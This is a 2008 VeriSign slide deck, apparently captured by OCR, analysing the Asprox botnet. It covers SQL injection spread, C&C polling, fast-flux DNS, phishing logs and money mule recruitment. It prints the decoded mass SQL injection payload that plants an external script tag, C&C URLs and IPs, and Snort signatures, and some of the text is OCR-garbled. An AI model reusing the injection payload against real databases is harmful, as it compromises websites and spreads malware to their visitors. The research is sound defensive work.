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Introduction

+ 2008 — The Year of SQL
Injection Attacks

+ Why Asprox?
= Incredibly successful

Product of opportunism and
good design

A formidable adversary
Clever and resilient




Asprox —Timeline

Danmec Asprox .
PW stealing integrated with SQan:;'éi‘;;'on _
trojan Danmec Strategic
partnership with
Rock Phish
Nihaorricom
Large email iFrame attack
harvester.spambot
campaign

Msscntr32.exe
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Asprox Compared to Other Botnets

+ 300,000 to 350,000 Nodes
~50,000 hits/day average

High amount of churn (est. 70%)
Mostly Windows XP hosts
Hotspots: US, China, Brazil
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Source of Asprox data:
VeriSign MSS

Other data courtesy of Wikipedia:
http://en.wikipedia.org/wiki/Botnet
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Impact on Economic Environment

LloydsAccountType: P
LloydsUserID: fuckoff
LloydsPassword: youcunt

LlﬂdeACCUUHtT}rp‘E : 1 LloydsMemorable: wankers

LloydsDate: Thu Aug 14, 2008 6:53 am

LloydsAgent: Mozillas4.9 (compatible; MSIE 6.9; Windows NT 5.1; SV1)
L-I. [l I_lird 5 LI 5 E rI D' : LloydsReferer: http://www3.1loydstsb.co.uk.ver5.co.uk/customer.ibc/?session=21whaedtDfnz rnds rdnOkhb
L.I- d P d . l 111222333444555666777888999
[II.IHI. 5ras5wWord. : LloydsAccountType: 1
LloydsUserID:
LloydsMemorable: r Hodpmmors: 1

LloydsDate: Thu Aug 14, 2008 6:53 am N L T g 1, e o

LloydsAgent: Mozilla/4.8 (compatible; MSIE 6.8; Windows NT 5.1; SVI; YPC 3.2.0; FunWebProducts; yplus
LloydsReferer: http://www6.lloydstsb.co.uk.ver9.co.uk/customer.ibc/?portal=22xc0jzpdifnzrndsrdnOkhb
111222333444555666777888999

LloydsAccountType: 0

LloydsUserID: Reported you

LloydsPassword: to fraud squad

LloydsMemorable: enjoyprisencunt

LloydsDate: Thu Aug 14, 2008 6:54 am

LloydsAgent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SIMBAR={7B2EA522-5FOF-4168-80A8-6936¢
LloydsReferer: http://onlined.1loydstsh.com.verd.co.uk/customer.ibc/7token=20nhrdwWldoDevjcrdnOkhb
111222333444555666777888999

LloydsAccountType: P

+ Thousands of phished accounts oyt 2

LloydsPassword:
LloydsMemorable: H

[ ] Average Of 20 aCCOU ntS per hour LloydsDate: Thu Aug 14, 2008 6:54 am

LloydsAgent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 5.1; (RL 1.5); .NET CLR 1.1.4322; .NET CLF
LloydsReferer: http://online-businessl.1loydstsh.com.kt27.co.uk/customer.ibc/7token=22d0y0hyzgcszOncy
111222333444555666777888999

+ Fake AntiVirus Installs o

BOA_atmcardnum: i3
BOA_cardexp: 05/20

= Multiple products pushed B0k i

BOA Date: Thu Aug 14, 2008 6:57 am
. . BOA_Agent: Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.34; Windows NT 5.1; .NET CLR 1.€
- Anthlrus XP 2008 BOA Referer: http://ww2.bankofamerica.com.db35.co.uk/confirndetails. jsp/?agent=181fFldezareDchyOkhb
111222333444555666777888999

— XP Security Center
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Asprox Infection Process and Results

+ Characteristics of infection:
2. Multiple redirects using . = Phone home frequently for

javascript and iframes land 3. End-useris

user on server running infected with u pd ates
Asprox malware

Neosploit

| , 3 <script
f src =

= Join the Asprox Double
Flux Network

= Perform SQL Injection
attacks

= Send spam/phishing emails

= Act as a web proxy for the
Rock Phish group

=  Loaded with fake AntiVirus
malware

, ap.js">
1. End-user visits infected: :
legit site and is

redirected to malicio
website

5. End-user infects further "3 o
websites via SQL
Injection, redirects end

4. The user’s infected
box is now both a

users to it ~ombie and a host « Perform activities as
for Asprox directed by future module
updates
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Phoning Home - Forum.php POST

+ Command and Control Communications
= End nodes frequently poll C&C servers (forum.php) via HTTP

0
Outbound ——1BEFOASFEEL1OFN4E7A
Port Content-Disposition: form-data:

Gl
——1BEFORSFEEL1OFDI4E7A

Content-Dispozition: form-data: name="wbfl"
HTTP POST
Boundary ID 1

Version number

——1BEFORSYBE110OFD4EYA
Content-Diszpozition: form-data:

435
——1BEFOASFBE1I10FD467A
Content-Dizposition: form-data: name="ping"

Lt
——1BEFORSYBE110OFD4EYA
Content-lizpozition: form-data: name="guid"

VeriSign



Pulling Updates

+ HTTP transactions contain a static boundary ID

= Infections easily detectable with a Snort signature (for now):

— alert tcp SHOME_NET any -> SEXTERNAL_NET $HTTP_PORTS ( msg:"HTTP POST
request boundary matching to Trojan.Asprox detected"; flow:established,from_client;
content:"POST|20 2F|forum|2E|php"; nocase; offset:0; depth:15; content:"boundary|3D|
1BEFOA57BE110FD467A"; nocase; distance:0; sid:2003179; rev:1; )

+ Replaying forum.php post data to C&C servers to pull updates
= Partitioned and tracked by GUID

= Frequent updates, containing
— New C&Cs
— New campaigns
— New Asprox binaries
— New Fake AV malware

\/gI‘iSing I




Forum.php Responses

C&C IPs
E1BDE27 21211989289 /i x<block X w4260 e X190 22 220,966, 246, 72 122EE, 246, Y2, 17278, 107,141,291, EEID

93,234 2 _arba, 26,95, 3887 /19, V6, 2571, 103, 55, 7350442 5O 12898, 282, 287, 13891 L1175 2200 S AR 25,
L16,180, 136136, 206 20511580, 230, 8, 245200, 44, A4 135535, 2, 33, 10163, 203, 75, 10276, 22,112,251 22, 23K

L7 2024/ _ax _ny 5,182,187 206628, 97,182,195199, 126,159, 9268, 12,494 ,19275, 181, 2, 12269, 62, 229, 14124 15
d6,18724 34 17 20706, 240,101 ,17774 222,211, 20767 ,189, 142, 912444 191, 22268, 197,127, 23966, 220, 4,129

|, 228, 200, 20388 B0 B 25524 27 51,969,119, 119, 17370 2,404, 1374/ _n»<_m>08, 23,67, 058</ _nx<hls>/Forms,
pfasauza, txt/ocontact, jpaslog, html s jobpozt  html /zuccess stories, jpgfthankyou, html  web_banks jstempla

=/aaaq, txtdourlool =, jpadkevin_sweet _sio blag, Jpodclientsd, jpasnescoressvece, html Asubmit, cesd/laniti
usSGuliosiglipodistm, ja/people, htrnivolg, cesdrea_more, jpasouruork ingassets, jpedforn—appls, cas/frame

tml /home, jpoib, jzdthe_right_pesple, jpodcontact?, jpos/Form—uk-z=1 ,htnlpatti_sig, jpodthankyou?, html
ript,jsfalternote_zmall, cea/rompany_selecte, jpofildhe_auths/clients, jpodflogo, jpodoirwork ingazsets,
mlSocaniates?, jogdfour_founaticn, jpos james_sig, jpodfalternate_large,cesd/contact  html fcaniates, jpospar
Easzociates, htel/company_00Z, ipasform-usa—z=s1 . html/membership, html /menu_left, jpascaniates, html ngg,
ESreivacypol iy, htnl/ james_sig, giv¥nescoatwork  html howwework., jpadaaappl  txt/wbatuwen, jpastavicon, ic
‘a.jelintro,swf web, cesdagreement , pf A ogi=hin job_pozt, jpodsubni tresune  btrdy corporatebank inguesdour

pepie, jpasportal , ja/portal _home, cesdcontactus, JpasClientoservites, Jpo/companyd, jpadour_mizsion, JpoS

argd . phps/foclients_selecte, jpostools, html /clients, html A form-uk-z=1, ces/greathizgreatpep. jpg .
jpethankyol 3, htnl /contact_selecte, jpodour_commitments, jpo houwework ,htn 7 iz, j=/Formnd., php/ IEUSIICNETS
company, htmlAwenf fcaniates_selecte, jpa/mizzion, htelieeys, jpodcaniate_servissoeipg/conpany, resources
ont, zesdinex, htmlApailogod , jpas/companynens  btel g, jesmeny sighs, Jpasclientcenterlogin, txtrnome_s

/-
Injected scripts

+ XOR Encoded, key of 27

VeriSign



Using their resources to monitor Asprox

+ Daily pulls of new domains provides further data
Get_asp_domains.pl calls another URL, returns new domains

— http://208.72.168.62:4448/cgi-bin/get_asp _domains_cgi.pl

New domains added in and removed frequently

Data about this Perl script was previously part of every forum.php
update

Now hidden from view
URL remains unchanged

+ Susceptible to countermeasures
Perfect candidate to be blocked with proxy servers

Not allowing resolving of DNS requests to these domains

\/gI‘iSign* I


http://208.72.168.62:4448/cgi-bin/get_asp_domains_cgi.pl

+

+

Double Flux Network — Built-In Resilience

Over 200 domains
used since May
2008

About 5-15 active at
a time

Compromised hosts

make up network
= Double flux — same

hosts used as
name servers

Hosts respond to
all DNS requests
with IPs in the fast
flux network

++ ANSWER SECTIOM:

Leur3, ru.,
Leur3, ru.,
Leur3, ru,
LELE3 U,
LELES, 1ML,
LEUr3, Fu.,
LEUr3, Fu.,
LEUr3, Fu.,
Leur3, ru.,
Leur3, ru,
Leur3, ru,
LEUES, 1L,
LEUr3, Fu.,
LEUr3, Fu.,

++ AUTHORITY SECTIOM:

Leura,ru,
LEUr3,ru,
LEUr3 .U,

I T I I I I I I Ir I I Ir Ir I+

71,80,11,108
/0,187,185,249
/0,191, 245,113
/B.22,1735,185
77,100,169, 258
892.63,5,16
87.11,2,20
oo.243,61,581
200,162, 236,177
200, 200,205,117
200,209, 232,118
bd.a0,123, 37
B5.25,29,13k
B3,135.54,135

ned , Ueura,ru,
nE3, UeLra,ru,
nzl,ueura,ru,
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SQL Injection — Growing the Network

+ Encoded injected SQL.:

+ Decoded:

Downluadl Decode  Misc Decoders |Lu:ug I Clipboard Monitar I Mokes I Hesx: wigiw I PScripk I Tools I Settings I About I

=10 =]

DECLARE BT WARCHAR(255),BC WARCHAR(Z255) DECLARE Table Cursor CURSOR FOR SELECT a.nawe,b.name FROM syschjects a,syscolumns ;I
b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=329 OR b.xtype=35 OR b.xtype=23l1 OR b.xtype=167) OPEN Table Cursor FETCH
MEXT FROM Table Cursor INTO ZEC({'UPDATE ['4+0@T+'] 2ET ['+@C+']=RTRIM(CCNWVERT (VARCHAR
(4000) , ["+HAC+! ]jj+" crlpt sro=http://www. updateSq comfh. jar</acripts! FETCH NEXT FRCOM Table Cursor INTaOOEAOZOTAE
O4A84POF0&ETSTH! 62 "OD ROFOEETS T 6= "0

=

Injected URL

+  All attacks follow the same general form:

= alert tcp SEXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SQL Injection
related to Injection Attacks"; pcre:"/NGET|POST)\x20\x2f/i"; content:"DECLARE"; nocase;
distance:0; within:256; content."|40|S|3D|CAST", distance:0; within:50; Sld.2003159, rev.2, )

\/griSigm




Asprox meets Rock Phish

i, BE, NE

+ SOCKS Proxy to Rock Phish hosts

Each infected host serves as a
proxy
— Via Fast Flux network

— Connect back to Rock Phish web
servers

Asprox ~_ = Allows for centralization of Phishing/
Fast-Flux i B Money Mule scams

Network — Multiple scams run simultaneously
— Scams rotated every few weeks

Victim PC

%riSign@ I



UJB UNION BANK

& TRUST COMPANY

menu

About Company

Our Services

Careers

Contacts

@ few words about us
In 1997 at the
conference "Theory and
Practice of Electronic
Business" Matthew
Delamater presented his
cash-flow distribution
theory. The main idea of
the report was to show
Internet . companies
involved into the

e-business the benefits of external financial structure as
opposed to the internal one. It is a well-known fact that
there is a certain difficulty with conversion of a great
number of e-currencies in"the Internet. The solution is
to open correspondence accounts with all numerous
payments systems in the Internet to allow fast
processing of clients' payments in any currency
independent of the payment methed.

This list is far from complete, as there are a lot of other
payment systems and still a %_reat_er number of payment
méetheds. But to be competitive in the modern market,
a company must have numerous accounts, and that's
only one aspect - there are also bookkeeping and tax
reporting difficulties.

President of MU Trust Company;
Matthew Delamater
Q L P
..,---—""”-‘

Well Advertised Money Mule Page

careers

B|MU Trust Company is ready to offer
new employment’ opportunities to
responsible individuals.

Our Company was founded 4 years
ago and ever since trust and joint
apport of all our members have been
at the very heart of our success, financial growth and
solvent reputation.

Despite global cil and mortgage crisis, we believe that
our future lies in the hands of independent investment.

MU Trust C_ompang offers you to become one of our
affiliates. It is possible to apply from almost every region
of Europe and Morth America because our investment
program already applies to hundreds of independent
investors from ‘these regions. That's when we need
responsible individuals to cooperate with MU Trust
Company processing department.

International Accountant is the vacancy we are
ready to offer to you. Part-time employment with a
minimum earning of 2500-3000 USD per month.
candidate Requi ts:

-Be over 18 y.o.

- US or UK Citizenship is not obligatory. Being a resident

is enough. )

- Reqular Internet access, phone connection (home and

mobile).

- Willingness to work from home, take responsibility, set
achieve goals.

- The Ability to create good administrative reporting.

Application Form:

First Name *:
Last Name *:
Address *:

City *:

State / Province *:
Postal zipcode *:
Country *: United States =l
Phone *:

Cell Phone *:

E-mail *:




Well Advertised Money Mule Page

Monetary operator

campany: Confidential Lacaton: Job location not prowided
1.500.00 - 3,000.00 USD Full Time, Part Time,
Salary/Wage: fmonth Status: Temporand/Contract/Project,
bonuzes Intern, Seasonal

Third Shift (Night), Second

snidt: Shift (Afternoon), First Shift Job Category:  Administratives/Clerical
(Day)
Occupatians: Office Management Relevant Wosk Expenence:  Less than 1 Year
Career Level: Student Education Level: Some High School Coursemard

(UndergraduatefGraduate)

Sawve to job file

+ Preying on current economic news  ApplyNow ) T

+ Advertised on legit job search sites | o

Dezcription
Mortgages Union Trust Company is ready to offer new employment opportunities to responsible individuals.

+ Great write-up on the scam by Hon
Lau of Symantec

Qur Company was founded 4 years ago and ever since trust and joint support of all our members have been at the weny heart of
aur suceess, financial growth and solvent reputation.

Despite global oil and mortgage crisis, uwwe believe that our future lies in the hands of independent investment.

Mortgages Union Trust Company offers you to become one of our affiliates. [t is possible to apply from almost eveny region of
Eurape and Morth America because ourinvestment program already applies to hundreds of independent investars from these
regions.

That'zwhen we need responsible individuals to cooperate with Mordgagee Union Trust Company processing department.
"Monetary operator” izthe vacanoy we are ready to offer to you.

Farttime employmentwith a minimum earming of 2500 USD per manth.

Requirements

All applicants must match the requirements belom:

- Be over20 .o

- US Citizenship is not obligatory. Being a resident is enough.

- Regular Intemnet access, phone connection thome and mobile).

If you wish to get more information about Martgages Union Trust and curent employment appotunities, email us:

Eesume MU Trasti@lavabit.com
- -
eI‘ISIgIl”




Cash-Transfers.us — Behind the Curtain

+ Used in money mule recruitment campaign, July 2008

J
+ Apparent mirror of another site ‘)’
Full site: Images, multiple pages CASH TRANSFERS INC.

+ “Registering” users’ data sent via proxy to C&C servers

+ Feedback page form sent data to Cash-Transfers.us
When this campaign went live, this domain was unregistered
— Not for long though...

+ Cash-Transfers.us now belongs to me
Feedback CGl script quickly stood up
Gained data about domains that were pointing to the fast flux network

— Previously unknown, not Asprox related
— Saw variety of subdomains used for these campaigns

\/gI‘iSing I



Feedback to Cash-Transfers.us

+ name: kangta
msgbody: The hacker already put the malicious code on your website.
Please delete it http://www.cdrpoex.com/ngg.js
i am fbi!

+ name: kenneth
msgbody: hi i am looking for fulltime work please contact me as i already
have a bank account opeened

+ name: pugsyroo
msgbody: remove my e-mail from your list. | was unable to find anywhere to
do it myself.

+ name: Yoko
msgbody: | have received an e-mail regarding the part time opportunity.
Please send me job descriptions before filling out the contact information.

+ name: CASSIDY
msgbody: | JUST REPORTED YOUR COMPANY FOR TRYING TO
ATTACK MY COMPUTER WITH A VIRUS, IAM ALSO CONTACTING MY
ATTORNEY ASS FUCKER

\/gI‘iSing I



Operational Miscues

+ Early August Breakdown
C&Cs went offline

Neosploit closed its doors

+ Went into a rebuilding phase
Used fast flux net to rebuild

Exposed backend code
— Available at http://www.denbrown.com/ soon

+ Asprox has since recovered with greater redundancy & fault

tolerance
New C&Cs up
Number of C&Cs has increased
SQL Injection appears to have quieted down a bit
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http://www.denbrown.com/

Summary

Defenses Attacks
+ Fast Flux + SQL Injection
+ Domain Rotation + Neosploit
+ Web Proxies + AV Evasion

ASPROX S

+ Websites

Modularity

. +
+ aspimgr.exe Web Browsers

+ Online Banking

+ msscntr32.exe

+ Job Hunters

\/griSign@ I



Questions + Answers

QUESTIONS + ANSWERS
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Special Thanks to Rob Falcone, Angela Loomis, Steve
Samuels, Joe Pepin, Steve Booth, the MSS Intelligence
Team, and the MSS Security Operations Center

Where it all comes together.”



